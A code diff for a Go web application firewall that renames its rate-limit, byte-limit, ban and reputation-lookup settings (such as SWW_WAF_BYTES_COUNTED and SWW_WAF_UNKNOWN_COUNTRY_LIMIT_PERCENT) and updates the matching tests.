// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||||
@@ -832,7 +844,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
// The query is answered, and the check with AbuseIPDB abandoned,
|
||||||
// before the bubble ends.
|
// before the bubble ends.
|
||||||
releaseResolver()
|
releaseResolver()
|
||||||
time.Sleep(defaultReputationWait)
|
time.Sleep(defaultDNSBLAbuseIPDBWait)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -81,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
|
|||||||
|
|
||||||
// countedBytes returns the request's bytes, once it has ended, as the
|
// countedBytes returns the request's bytes, once it has ended, as the
|
||||||
// byte limits and the anomaly thresholds count them: the response's body
|
// byte limits and the anomaly thresholds count them: the response's body
|
||||||
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
|
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says.
|
||||||
func (rq *request) countedBytes() int64 {
|
func (rq *request) countedBytes() int64 {
|
||||||
response, request := rq.out.bytes, rq.requestBytes
|
response, request := rq.out.bytes, rq.requestBytes
|
||||||
|
|
||||||
switch rq.h.config.BytesCount {
|
switch rq.h.config.BytesCounted {
|
||||||
case "response":
|
case "response":
|
||||||
return response
|
return response
|
||||||
case "request":
|
case "request":
|
||||||
@@ -100,8 +100,8 @@ func (rq *request) countedBytes() int64 {
|
|||||||
// the metrics. status is what the client was sent, or is sent:
|
// the metrics. status is what the client was sent, or is sent:
|
||||||
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||||
// error burst. The ban's notes give the client's limit percentage for a
|
// refusal limit. The ban's notes give the client's limit percentage for a
|
||||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets
|
||||||
// the client's counters back to zero. In observe mode it makes no ban and
|
// the client's counters back to zero. In observe mode it makes no ban and
|
||||||
// sets nothing back, and raises the alert for the ban it would have made,
|
// sets nothing back, and raises the alert for the ban it would have made,
|
||||||
// if that alert would be sent.
|
// if that alert would be sent.
|
||||||
|
|||||||
+16
-16
@@ -90,10 +90,10 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
limitBanDuration: "10m",
|
limitBanDuration: "10m",
|
||||||
limitBanRepeatWindow: "1h",
|
limitBanRepeatWindow: "1h",
|
||||||
maxBanDuration: "1h",
|
limitBanPermanentAbove: "1h",
|
||||||
})
|
})
|
||||||
|
|
||||||
// breakLimit has client go over the limit of one a minute, and
|
// breakLimit has client go over the limit of one a minute, and
|
||||||
@@ -130,7 +130,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
clk.advance(10 * time.Minute)
|
clk.advance(10 * time.Minute)
|
||||||
wantExpires(breakLimit(), 30*time.Minute)
|
wantExpires(breakLimit(), 30*time.Minute)
|
||||||
|
|
||||||
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
|
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is
|
||||||
// permanent.
|
// permanent.
|
||||||
clk.advance(30 * time.Minute)
|
clk.advance(30 * time.Minute)
|
||||||
|
|
||||||
@@ -256,10 +256,10 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
banScopeV4Prefix: "24",
|
banScopeV4Prefix: "24",
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
|
|
||||||
// fromDE's ban covers otherClient, which is refused unasked about.
|
// fromDE's ban covers otherClient, which is refused unasked about.
|
||||||
@@ -319,10 +319,10 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
denyNets: denied,
|
denyNets: denied,
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
}
|
}
|
||||||
|
|
||||||
if tc.setting != "" {
|
if tc.setting != "" {
|
||||||
@@ -345,9 +345,9 @@ func TestBanNotes(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
|
|||||||
+28
-27
@@ -17,14 +17,15 @@ type percentage struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
|
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
||||||
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
|
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
||||||
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
||||||
// then needed before its request goes on.
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
|
||||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
// before its request goes on.
|
||||||
return len(cfg.ASNBytesPercent) > 0 ||
|
func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||||
len(cfg.CountryBytesPercent) > 0 ||
|
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
||||||
cfg.UnknownLimitPercent < whole ||
|
len(cfg.CountryBytesLimitPercent) > 0 ||
|
||||||
|
cfg.UnknownCountryLimitPercent < whole ||
|
||||||
cfg.ASNLimitPercentURL != ""
|
cfg.ASNLimitPercentURL != ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -37,13 +38,13 @@ func biasedThresholdsSet(cfg *config.Config) bool {
|
|||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||||
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||||
// other tags, for a client without a country, unless its request skipped
|
// other tags, for a client without a country, unless its request skipped
|
||||||
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist
|
||||||
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
||||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||||
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
|
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For
|
||||||
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
|
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
|
||||||
// take the place of the first three for an AS number or a country they
|
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for
|
||||||
// list.
|
// an AS number or a country they list.
|
||||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
asn, country := rq.line.ASN, rq.line.Country
|
asn, country := rq.line.ASN, rq.line.Country
|
||||||
@@ -51,8 +52,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
unknown := percentage{percent: whole}
|
unknown := percentage{percent: whole}
|
||||||
if country == "" && !rq.skippedLookupWait {
|
if country == "" && !rq.skippedLookupWait {
|
||||||
unknown = percentage{
|
unknown = percentage{
|
||||||
cfg.UnknownLimitPercent,
|
cfg.UnknownCountryLimitPercent,
|
||||||
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
|
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -69,12 +70,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
reputationListed := percentage{percent: whole}
|
dnsblAbuseIPDBListed := percentage{percent: whole}
|
||||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||||
cfg.ReputationAction == "limit" {
|
cfg.DNSBLAbuseIPDBAction == "limit" {
|
||||||
reputationListed = percentage{
|
dnsblAbuseIPDBListed = percentage{
|
||||||
cfg.ReputationLimitPercent,
|
cfg.DNSBLAbuseIPDBLimitPercent,
|
||||||
"SWW_WAF_REPUTATION_ACTION",
|
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -102,24 +103,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
asnBytes, countryBytes := asnRequests, countryRequests
|
asnBytes, countryBytes := asnRequests, countryRequests
|
||||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed {
|
||||||
asnBytes = given(
|
asnBytes = given(
|
||||||
cfg.ASNBytesPercent,
|
cfg.ASNBytesLimitPercent,
|
||||||
asn,
|
asn,
|
||||||
"SWW_WAF_ASN_BYTES_PERCENT",
|
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
if _, listed := cfg.CountryBytesLimitPercent[country]; listed {
|
||||||
countryBytes = given(
|
countryBytes = given(
|
||||||
cfg.CountryBytesPercent,
|
cfg.CountryBytesLimitPercent,
|
||||||
country,
|
country,
|
||||||
"SWW_WAF_COUNTRY_BYTES_PERCENT",
|
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The limits that lower requests and bytes alike.
|
// The limits that lower requests and bytes alike.
|
||||||
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
|
||||||
|
|
||||||
return lowest(asnRequests, countryRequests, common),
|
return lowest(asnRequests, countryRequests, common),
|
||||||
lowest(asnBytes, countryBytes, common)
|
lowest(asnBytes, countryBytes, common)
|
||||||
|
|||||||
+51
-37
@@ -8,6 +8,7 @@ import (
|
|||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
@@ -22,10 +23,10 @@ import (
|
|||||||
|
|
||||||
// The biased thresholds.
|
// The biased thresholds.
|
||||||
const (
|
const (
|
||||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||||
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
|
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT"
|
||||||
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
|
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT"
|
||||||
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
|
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -60,7 +61,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||||
{tagLimitPercent, countryTagDEHalf, fromDE},
|
{tagLimitPercent, countryTagDEHalf, fromDE},
|
||||||
{unknownLimitPercent, "50", unplaced},
|
{unknownCountryLimitPercent, "50", unplaced},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.setting, func(t *testing.T) {
|
t.Run(tc.setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -108,9 +109,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||||
{tagLimitPercent, "Country=de:50", fromDE},
|
{tagLimitPercent, "Country=de:50", fromDE},
|
||||||
{unknownLimitPercent, "50", unplaced},
|
{unknownCountryLimitPercent, "50", unplaced},
|
||||||
{asnBytesPercent, "as64496:50", fromDE},
|
{asnBytesLimitPercent, "as64496:50", fromDE},
|
||||||
{countryBytesPercent, countryDEHalf, fromDE},
|
{countryBytesLimitPercent, countryDEHalf, fromDE},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.setting, func(t *testing.T) {
|
t.Run(tc.setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -149,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -163,22 +164,28 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
|||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
"lowering the byte limits alone",
|
"lowering the byte limits alone",
|
||||||
map[string]string{asnBytesPercent: asnDEHalf},
|
map[string]string{asnBytesLimitPercent: asnDEHalf},
|
||||||
none, "50 from " + asnBytesPercent, minuteBytes,
|
none, "50 from " + asnBytesLimitPercent, minuteBytes,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"lowering the byte limits alone, by country",
|
"lowering the byte limits alone, by country",
|
||||||
map[string]string{countryBytesPercent: countryDEHalf},
|
map[string]string{countryBytesLimitPercent: countryDEHalf},
|
||||||
none, "50 from " + countryBytesPercent, minuteBytes,
|
none, "50 from " + countryBytesLimitPercent, minuteBytes,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"raising the byte limits back",
|
"raising the byte limits back",
|
||||||
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
|
map[string]string{
|
||||||
|
tagLimitPercent: asnTagDEHalf,
|
||||||
|
asnBytesLimitPercent: asnDE + ":100",
|
||||||
|
},
|
||||||
"50 from " + tagLimitPercent, none, "",
|
"50 from " + tagLimitPercent, none, "",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"raising the byte limits back, by country",
|
"raising the byte limits back, by country",
|
||||||
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
|
map[string]string{
|
||||||
|
tagLimitPercent: countryTagDEHalf,
|
||||||
|
countryBytesLimitPercent: "de:100",
|
||||||
|
},
|
||||||
"50 from " + tagLimitPercent, none, "",
|
"50 from " + tagLimitPercent, none, "",
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -214,7 +221,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
|||||||
|
|
||||||
s, _, _ := startWithLookups(
|
s, _, _ := startWithLookups(
|
||||||
t,
|
t,
|
||||||
map[string]string{unknownLimitPercent: "0"},
|
map[string]string{unknownCountryLimitPercent: "0"},
|
||||||
)
|
)
|
||||||
|
|
||||||
// The first request breaks the limit, and bans the client; the log line
|
// The first request breaks the limit, and bans the client; the log line
|
||||||
@@ -225,12 +232,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
|||||||
requestlog.ActionClientIsRateLimited,
|
requestlog.ActionClientIsRateLimited,
|
||||||
)
|
)
|
||||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||||
line.fields["rate_limit_percent"],
|
line.fields["rate_limit_percent"],
|
||||||
line.fields["rate_limit_percent_setting"],
|
line.fields["rate_limit_percent_setting"],
|
||||||
unknownLimitPercent,
|
unknownCountryLimitPercent,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -264,11 +271,11 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"that for a client without a country",
|
"that for a client without a country",
|
||||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
|
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"},
|
||||||
noCountry, "25 from " + unknownLimitPercent,
|
noCountry, "25 from " + unknownCountryLimitPercent,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100.
|
||||||
"the AS number's, for a client without a country",
|
"the AS number's, for a client without a country",
|
||||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||||
noCountry, "25 from " + tagLimitPercent,
|
noCountry, "25 from " + tagLimitPercent,
|
||||||
@@ -296,13 +303,13 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithLookups(t, map[string]string{
|
s, _, _ := startWithLookups(t, map[string]string{
|
||||||
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
|
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50",
|
||||||
})
|
})
|
||||||
|
|
||||||
// One the lookup database does not hold, and one on a private address,
|
// One the lookup database does not hold, and one on a private address,
|
||||||
@@ -323,14 +330,17 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as
|
||||||
// says, with a GeoJS that never answers.
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||||
|
// a GeoJS that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{unknownLimitPercent: "0"})
|
map[string]string{unknownCountryLimitPercent: "0"})
|
||||||
|
|
||||||
// Once the time the request waits for its answer is up, the client
|
// Once the time the request waits for its answer is up, the client
|
||||||
// counts as without a country, and its zero allowance refuses the
|
// counts as without a country, and its zero allowance refuses the
|
||||||
@@ -346,7 +356,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
|||||||
)
|
)
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
"0 from "+unknownLimitPercent)
|
"0 from "+unknownCountryLimitPercent)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -365,22 +375,26 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
|||||||
// A tag the lookup does not give needs no answer.
|
// A tag the lookup does not give needs no answer.
|
||||||
{tagLimitPercent, "vpn:50", false},
|
{tagLimitPercent, "vpn:50", false},
|
||||||
{tagDeny, "vpn", false},
|
{tagDeny, "vpn", false},
|
||||||
{asnBytesPercent, asnDEHalf, true},
|
{asnBytesLimitPercent, asnDEHalf, true},
|
||||||
{countryBytesPercent, countryDEHalf, true},
|
{countryBytesLimitPercent, countryDEHalf, true},
|
||||||
{unknownLimitPercent, "99", true},
|
{unknownCountryLimitPercent, "99", true},
|
||||||
{asnLimitPercentURL, asnURL, true},
|
{asnLimitPercentURL, asnURL, true},
|
||||||
// At 100, its default, it lowers no limit.
|
// At 100, its default, it lowers no limit.
|
||||||
{unknownLimitPercent, "100", false},
|
{unknownCountryLimitPercent, "100", false},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as
|
||||||
// says, with a GeoJS that never answers.
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||||
|
// with a GeoJS that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
asnAndCountryLookupTimeout: strconv.FormatInt(
|
||||||
|
timeout.Milliseconds(), 10),
|
||||||
|
tagLists: "vpn=" + vpnList,
|
||||||
|
tc.setting: tc.value,
|
||||||
})
|
})
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
|
|
||||||
@@ -449,10 +463,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
|||||||
"a byte limit",
|
"a byte limit",
|
||||||
map[string]string{
|
map[string]string{
|
||||||
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
||||||
asnBytesPercent: asnDEHalf,
|
asnBytesLimitPercent: asnDEHalf,
|
||||||
},
|
},
|
||||||
0, http.StatusOK, requestlog.ActionForward,
|
0, http.StatusOK, requestlog.ActionForward,
|
||||||
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
|
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
|
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits
|
||||||
// and biased thresholds through the limiter and limitPercentages.
|
// and biased thresholds through the limiter and limitPercentages.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -22,10 +22,10 @@ const (
|
|||||||
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||||
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||||
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||||
bytesCount = "SWW_WAF_BYTES_COUNT"
|
bytesCounted = "SWW_WAF_BYTES_COUNTED"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The values of SWW_WAF_BYTES_COUNT.
|
// The values of SWW_WAF_BYTES_COUNTED.
|
||||||
const (
|
const (
|
||||||
countResponse = "response"
|
countResponse = "response"
|
||||||
countRequest = "request"
|
countRequest = "request"
|
||||||
@@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
answerAfterUpgrade,
|
answerAfterUpgrade,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
bytesLimitPerMinute: "29", bytesCount: tc.setting,
|
bytesLimitPerMinute: "29", bytesCounted: tc.setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -257,7 +257,7 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _ := startWithAnswers(t, map[string]string{
|
s, _ := startWithAnswers(t, map[string]string{
|
||||||
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
|
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting,
|
||||||
})
|
})
|
||||||
|
|
||||||
for i := 1; i <= tc.breaking; i++ {
|
for i := 1; i <= tc.breaking; i++ {
|
||||||
|
|||||||
+11
-11
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
|
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
|
||||||
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -17,7 +17,7 @@ import (
|
|||||||
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||||
// exempts its path, as pathExempt decides, and notes the rules it matched and
|
// exempts its path, as pathExempt decides, and notes the rules it matched and
|
||||||
// its score in the log line, and the rules in the metrics. A score at or over
|
// its score in the log line, and the rules in the metrics. A score at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
|
